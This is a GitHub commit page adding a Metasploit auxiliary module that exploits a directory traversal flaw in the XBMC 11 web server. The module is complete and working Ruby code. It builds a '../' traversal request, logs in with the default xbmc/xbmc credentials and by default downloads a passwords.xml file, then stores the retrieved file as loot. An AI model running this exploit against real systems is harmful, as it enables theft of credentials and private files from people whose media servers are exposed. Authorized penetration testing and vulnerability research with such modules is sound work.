Skip to content

Commit dac331f

Browse files
committed
Added XBMC Traversal exploit
1 parent 76c3dec commit dac331f

File tree

1 file changed

+86
-0
lines changed

1 file changed

+86
-0
lines changed
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::Report
14+
include Msf::Exploit::Remote::HttpClient
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "XBMC Web Server Directory Traversal",
19+
'Description' => %q{
20+
This module exploits a directory traversal bug in XBMC 11.
21+
The module can only be used to retrieve files.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
27+
'Lucas "acidgen" Lundgren IOActive',
28+
'Matt "hostess" Andreko',
29+
],
30+
'References' =>
31+
[
32+
['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348']
33+
],
34+
'DisclosureDate' => "Nov 1 2012"
35+
))
36+
37+
register_options(
38+
[
39+
Opt::RPORT(8080),
40+
OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
41+
OptString.new('USER', [true, 'The username to use for the HTTP server', 'xbmc']),
42+
OptString.new('PASS', [true, 'The password to use for the HTTP server', 'xbmc']),
43+
], self.class)
44+
45+
deregister_options('RHOST')
46+
end
47+
48+
def run_host(ip)
49+
# No point to continue if no filename is specified
50+
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
51+
print_error("Please supply the name of the file you want to download")
52+
return
53+
end
54+
55+
# Create request
56+
traversal = "../../../../../../../../.."
57+
res = send_request_raw({
58+
'method' => 'GET',
59+
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
60+
'basic_auth' => "#{datastore['USER']}:#{datastore['PASS']}"
61+
}, 25)
62+
63+
# Show data if needed
64+
if res
65+
if res.code == 200
66+
vprint_line(res.to_s)
67+
fname = File.basename(datastore['FILEPATH'])
68+
69+
path = store_loot(
70+
'xbmc.http',
71+
'application/octet-stream',
72+
ip,
73+
res.body,
74+
fname
75+
)
76+
print_good("File saved in: #{path}")
77+
elsif res.code == 401
78+
print_error("#{rhost}:#{rport} Authentication failed")
79+
elsif res.code == 404
80+
print_error("#{rhost}:#{rport} File not found")
81+
end
82+
else
83+
print_error("HTTP Response failed")
84+
end
85+
end
86+
end

0 commit comments

Comments
 (0)